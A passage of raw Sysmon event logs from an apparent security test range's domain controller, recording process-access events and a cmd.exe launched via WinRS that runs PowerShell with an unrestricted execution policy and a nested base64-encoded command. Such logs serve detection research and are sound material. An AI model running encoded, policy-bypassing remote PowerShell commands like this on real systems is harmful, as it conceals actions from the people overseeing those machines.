11:56:33.760","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","SourceProcessId":"1368","SourceThreadId":"3912","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-0010707D0800}","TargetProcessId":"3144","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5626,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.791\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.791","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5627,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.791\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.791","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5628,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.791\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.791","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5629,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nProcessGuid: {90617006-4171-5F2D-0000-00103D800800}\r\nProcessId: 4648\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4171-5F2D-0000-0020327D0800}\r\nLogonId: 0x87D32\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-4171-5F2D-0000-0010707D0800}\r\nParentProcessId: 3144\r\nParentImage: C:\\Windows\\System32\\winrshost.exe\r\nParentCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","ProcessGuid":"{90617006-4171-5F2D-0000-00103D800800}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4171-5F2D-0000-0020327D0800}","LogonId":"0x87d32","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-4171-5F2D-0000-0010707D0800}","ParentProcessId":"3144","ParentImage":"C:\\Windows\\System32\\winrshost.exe","ParentCommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5630,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010707D0800}\r\nSourceProcessId: 3144\r\nSourceThreadId: 4904\r\nSourceImage: C:\\Windows\\system32\\WinrsHost.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-00103D800800}\r\nTargetProcessId: 4648\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 